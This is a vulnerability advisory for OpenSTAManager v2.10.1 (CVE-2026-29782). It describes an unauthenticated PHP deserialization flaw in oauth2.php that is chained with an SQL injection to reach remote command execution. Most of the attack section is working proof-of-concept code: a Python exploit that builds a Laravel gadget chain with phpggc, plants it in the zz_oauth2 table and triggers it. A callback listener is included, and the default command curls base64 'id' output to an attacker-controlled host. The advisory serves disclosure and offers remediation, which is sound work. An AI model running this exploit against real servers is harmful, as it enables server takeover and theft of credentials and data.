PT-2026-29658 · Packagist · Devcode-It/Openstamanager

Published

2026-04-01

·

Updated

2026-04-01

·

CVE-2026-29782

CVSS v3.1

7.2

High

AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Description

The oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip permissions = true). It loads a record from the zz oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access token field without any class restriction.
An attacker who can write to the zz oauth2 table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in GHSA-2fr7-cc4f-wh98) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the www-data user.

Affected code

Entry point — oauth2.php

$skip permissions = true;               // Line 23: NO AUTHENTICATION
include once  DIR .'/core.php';

$state = $ GET['state'];                // Line 28: attacker-controlled
$code = $ GET['code'];

$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record
$response = $account->configure($code, $state);     // Line 51: triggers the chain

Deserialization — src/Models/OAuth2.php

// Line 193 (checkTokens):
$access token = $this->access token ? unserialize($this->access token) : null;

// Line 151 (getAccessToken):
return $this->attributes['access token'] ? unserialize($this->attributes['access token']) : null;
unserialize() is called without the allowed classes parameter, allowing instantiation of any class loaded by the Composer autoloader.

Execution flow

oauth2.php (no auth)
 → configure()
  → needsConfiguration()
   → getAccessToken()
    → checkTokens()
     → unserialize($this->access token)  ← attacker payload
      → Creates PendingBroadcast object (Laravel/RCE22 gadget chain)
     → $access token->hasExpired()     ← PendingBroadcast lacks this method → PHP Error
    → During error cleanup:
     → PendingBroadcast. destruct()    ← fires during shutdown
      → system($command)         ← RCE
The HTTP response is 500 (due to the hasExpired() error), but the command has already executed via destruct() during error cleanup.

Full attack chain

This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module (GHSA-2fr7-cc4f-wh98) to achieve unauthenticated RCE:
  1. Payload injection (requires admin account): Via op=risolvi-conflitti-database, arbitrary SQL is executed to insert a malicious serialized object into zz oauth2.access token
  2. RCE trigger (unauthenticated): A GET request to oauth2.php?state=<known value>&code=x triggers the deserialization and executes the command
Persistence note: The risolvi-conflitti-database handler ends with exit; (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (CREATE TABLE/DROP TABLE) are included to force an implicit MySQL commit.

Gadget chain

The chain used is Laravel/RCE22 (available in phpggc), which exploits classes from the Laravel framework present in the project's dependencies:
PendingBroadcast. destruct()
 → $this->events->dispatch($this->event)
 → chain of  call() /  invoke()
 → system($command)

Proof of Concept

Execution

Terminal 1 — Attacker listener:
python3 listener.py --port 9999
Terminal 2 — Exploit:
python3 exploit.py 
 --target http://localhost:8888 
 --callback http://host.docker.internal:9999 
 --user admin --password <password>
image

Observed result

Listener receives: image The id command was executed on the server as www-data, confirming RCE.

HTTP requests from the exploit

Step 4 — Injection (authenticated):
POST /actions.php HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded

op=risolvi-conflitti-database&id module=6&queries=["DELETE FROM zz oauth2 WHERE state='poc-xxx'","INSERT INTO zz oauth2 (id,name,class,client id,client secret,config,state,access token,after configuration,is login,enabled) VALUES (99999,'poc','ModulesEmailsOAuth2Google','x','x','{}','poc-xxx',0x<payload hex>,'',0,1)","CREATE TABLE IF NOT EXISTS t(i INT)","DROP TABLE IF EXISTS t"]
Step 5 — Trigger (NO authentication):
GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1

(No cookies — completely anonymous request)
Response: HTTP 500 (expected — the error occurs after destruct() has already executed the command)

Exploit — exploit.py

#!/usr/bin/env python3
"""
OpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization)

Usage:
 python3 listener.py --port 9999
 python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234
"""

import argparse
import json
import random
import re
import string
import subprocess
import sys
import time

try:
  import requests
except ImportError:
  print("[!] pip install requests")
  sys.exit(1)

RED = "033[91m"
GREEN = "033[92m"
YELLOW = "033[93m"
BLUE = "033[94m"
BOLD = "033[1m"
DIM = "033[2m"
RESET = "033[0m"

BANNER = f"""
 {RED}{'=' * 58}{RESET}
 {RED}{BOLD} OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET}
 {RED}{BOLD} Arbitrary SQL → Insecure Deserialization{RESET}
 {RED}{'=' * 58}{RESET}
"""


def log(msg, status="*"):
  icons = {"*": f"{BLUE}*{RESET}", "+": f"{GREEN}+{RESET}", "-": f"{RED}-{RESET}", "!": f"{YELLOW}!{RESET}"}
  print(f" [{icons.get(status, '*')}] {msg}")


def step header(num, title):
  print(f"
 {BOLD}── Step {num}: {title} ──{RESET}
")


def generate payload(container, command):
  step header(1, "Generate Gadget Chain Payload")

  log("Checking phpggc in container...")
  result = subprocess.run(["docker", "exec", container, "test", "-f", "/tmp/phpggc/phpggc"], capture output=True)
  if result.returncode != 0:
    log("Installing phpggc...", "!")
    proc = subprocess.run(
      ["docker", "exec", container, "git", "clone", "https://github.com/ambionics/phpggc", "/tmp/phpggc"],
      capture output=True, text=True,
    )
    if proc.returncode != 0:
      log(f"Failed to install phpggc: {proc.stderr}", "-")
      sys.exit(1)

  log(f"Command: {DIM}{command}{RESET}")

  result = subprocess.run(
    ["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command],
    capture output=True,
  )
  if result.returncode != 0:
    log(f"phpggc failed: {result.stderr.decode()}", "-")
    sys.exit(1)

  payload bytes = result.stdout
  log(f"Payload: {BOLD}{len(payload bytes)} bytes{RESET}", "+")
  return payload bytes


def authenticate(target, username, password):
  step header(2, "Authenticate")
  session = requests.Session()
  log(f"Logging in as '{username}'...")

  resp = session.post(
    f"{target}/index.php",
    data={"op": "login", "username": username, "password": password},
    allow redirects=False, timeout=10,
  )

  location = resp.headers.get("Location", "")
  if resp.status code != 302 or "index.php" in location:
    log("Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).", "-")
    sys.exit(1)

  session.get(f"{target}{location}", timeout=10)
  log("Authenticated", "+")
  return session


def find module id(session, target, container):
  step header(3, "Find 'Aggiornamenti' Module ID")
  log("Searching navigation sidebar...")
  resp = session.get(f"{target}/controller.php", timeout=10)

  for match in re.finditer(r'id module=(d+)', resp.text):
    snippet = resp.text[match.start():match.start() + 300]
    if re.search(r'[Aa]ggiornamenti', snippet):
      module id = int(match.group(1))
      log(f"Module ID: {BOLD}{module id}{RESET}", "+")
      return module id

  log("Not found in sidebar, querying database...", "!")
  result = subprocess.run(
    ["docker", "exec", container, "php", "-r",
     "require '/var/www/html/config.inc.php'; "
     "$pdo = new PDO('mysql:host='.$db host.';dbname='.$db name, $db username, $db password); "
     "echo $pdo->query("SELECT id FROM zz modules WHERE name='Aggiornamenti'")->fetchColumn();"],
    capture output=True, text=True,
  )
  if result.stdout.strip().isdigit():
    module id = int(result.stdout.strip())
    log(f"Module ID: {BOLD}{module id}{RESET}", "+")
    return module id

  log("Could not find module ID", "-")
  sys.exit(1)


def inject payload(session, target, module id, payload bytes, state value):
  step header(4, "Inject Payload via Arbitrary SQL")

  hex payload = payload bytes.hex()
  record id = random.randint(90000, 99999)

  queries = [
    f"DELETE FROM zz oauth2 WHERE id={record id} OR state='{state value}'",
    f"INSERT INTO zz oauth2 "
    f"(id, name, class, client id, client secret, config, "
    f"state, access token, after configuration, is login, enabled) VALUES "
    f"({record id}, 'poc', 'ModulesEmailsOAuth2Google', "
    f"'x', 'x', '{{}}', '{state value}', 0x{hex payload}, '', 0, 1)",
    "CREATE TABLE IF NOT EXISTS poc ddl commit (i INT)",
    "DROP TABLE IF EXISTS poc ddl commit",
  ]

  log(f"State trigger: {BOLD}{state value}{RESET}")
  log(f"Payload: {len(hex payload)//2} bytes ({len(hex payload)} hex)")
  log("Sending to actions.php...")

  resp = session.post(
    f"{target}/actions.php",
    data={"op": "risolvi-conflitti-database", "id module": str(module id), "id record": "", "queries": json.dumps(queries)},
    timeout=15,
  )

  try:
    result = json.loads(resp.text)
    if result.get("success"):
      log("Payload planted in zz oauth2.access token", "+")
      return True
    else:
      log(f"Injection failed: {result.get('message', '?')}", "-")
      return False
  except json.JSONDecodeError:
    log(f"Unexpected response (HTTP {resp.status code}): {resp.text[:200]}", "-")
    return False


def trigger rce(target, state value):
  step header(5, "Trigger RCE (NO AUTHENTICATION)")

  url = f"{target}/oauth2.php"
  log(f"GET {url}?state={state value}&code=x")
  log(f"{DIM}(This request is UNAUTHENTICATED){RESET}")

  try:
    resp = requests.get(url, params={"state": state value, "code": "x"}, allow redirects=False, timeout=15)
    log(f"HTTP {resp.status code}", "+")
    if resp.status code == 500:
      log(f"{DIM}500 expected:  destruct() fires the gadget chain before error handling{RESET}")
  except requests.exceptions.Timeout:
    log("Timed out (command may still have executed)", "!")
  except requests.exceptions.ConnectionError as e:
    log(f"Connection error: {e}", "-")


def main():
  parser = argparse.ArgumentParser(description="OpenSTAManager v2.10.1 — RCE PoC")
  parser.add argument("--target", required=True, help="Target URL")
  parser.add argument("--callback", required=True, help="Attacker listener URL reachable from the container")
  parser.add argument("--user", default="admin", help="Username (default: admin)")
  parser.add argument("--password", required=True, help="Password")
  parser.add argument("--container", default="osm-web", help="Docker web container (default: osm-web)")
  parser.add argument("--command", help="Custom command (default: curl callback with id output)")
  args = parser.parse args()

  print(BANNER)

  target = args.target.rstrip("/")
  callback = args.callback.rstrip("/")
  state value = "poc-" + "".join(random.choices(string.ascii lowercase + string.digits, k=12))
  command = args.command or f"curl -s {callback}/rce-$(id|base64 -w0)"

  payload = generate payload(args.container, command)
  session = authenticate(target, args.user, args.password)
  module id = find module id(session, target, args.container)

  if not inject payload(session, target, module id, payload, state value):
    log("Exploit failed at injection step", "-")
    sys.exit(1)

  time.sleep(1)
  trigger rce(target, state value)

  print(f"
 {BOLD}── Result ──{RESET}
")
  log("Exploit complete. Check your listener for the callback.", "+")
  log("Expected: GET /rce-<base64(id)>")
  log(f"If no callback, verify the container can reach: {callback}", "!")


if  name  == " main ":
  main()

Listener — listener.py

#!/usr/bin/env python3
"""OpenSTAManager v2.10.1 — RCE Callback Listener"""

import argparse
import base64
import sys
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler

RED = "033[91m"
GREEN = "033[92m"
YELLOW = "033[93m"
BLUE = "033[94m"
BOLD = "033[1m"
RESET = "033[0m"


class CallbackHandler(BaseHTTPRequestHandler):
  def do GET(self):
    ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    print(f"
 {RED}{'=' * 58}{RESET}")
    print(f" {RED}{BOLD} RCE CALLBACK RECEIVED{RESET}")
    print(f" {RED}{'=' * 58}{RESET}")
    print(f" {GREEN}[+]{RESET} Time : {ts}")
    print(f" {GREEN}[+]{RESET} From : {self.client address[0]}:{self.client address[1]}")
    print(f" {GREEN}[+]{RESET} Path : {self.path}")

    for part in self.path.lstrip("/").split("/"):
      if part.startswith("rce-"):
        try:
          decoded = base64.b64decode(part[4:]).decode("utf-8", errors="replace")
          print(f" {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}")
        except Exception:
          print(f" {YELLOW}[!]{RESET} Raw : {part[4:]}")

    print(f" {RED}{'=' * 58}{RESET}
")
    self.send response(200)
    self.send header("Content-Type", "text/plain")
    self.end headers()
    self.wfile.write(b"OK")

  def do POST(self):
    self.do GET()

  def log message(self, format, *args):
    pass


def main():
  parser = argparse.ArgumentParser(description="RCE callback listener")
  parser.add argument("--port", type=int, default=9999, help="Listen port (default: 9999)")
  args = parser.parse args()

  server = HTTPServer(("0.0.0.0", args.port), CallbackHandler)
  print(f"
 {BLUE}{'=' * 58}{RESET}")
  print(f" {BLUE}{BOLD} OpenSTAManager v2.10.1 — RCE Callback Listener{RESET}")
  print(f" {BLUE}{'=' * 58}{RESET}")
  print(f" {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}")
  print(f" {YELLOW}[!]{RESET} Waiting for callback...
")

  try:
    server.serve forever()
  except KeyboardInterrupt:
    print(f"
 {YELLOW}[!]{RESET} Stopped.")
    sys.exit(0)


if  name  == " main ":
  main()

Impact

  • Confidentiality: Read server files, database credentials, API keys
  • Integrity: Write files, install backdoors, modify application code
  • Availability: Delete files, denial of service
  • Scope: Command execution as www-data allows pivoting to other systems on the network

Proposed remediation

Option A: Restrict unserialize() (recommended)

// src/Models/OAuth2.php — checkTokens() and getAccessToken()
$access token = $this->access token
  ? unserialize($this->access token, ['allowed classes' => [AccessToken::class]])
  : null;

Option B: Use safe serialization

Replace serialize()/unserialize() with json encode()/json decode() for storing OAuth2 tokens.

Option C: Authenticate oauth2.php

Remove $skip permissions = true and require authentication for the OAuth2 callback endpoint, or validate the state parameter against a value stored in the user's session.

Credits

Omar Ramirez

Fix

Deserialization of Untrusted Data

Weakness Enumeration

Related Identifiers

CVE-2026-29782
GHSA-WHV5-4Q2F-Q68G

Affected Products

Devcode-It/Openstamanager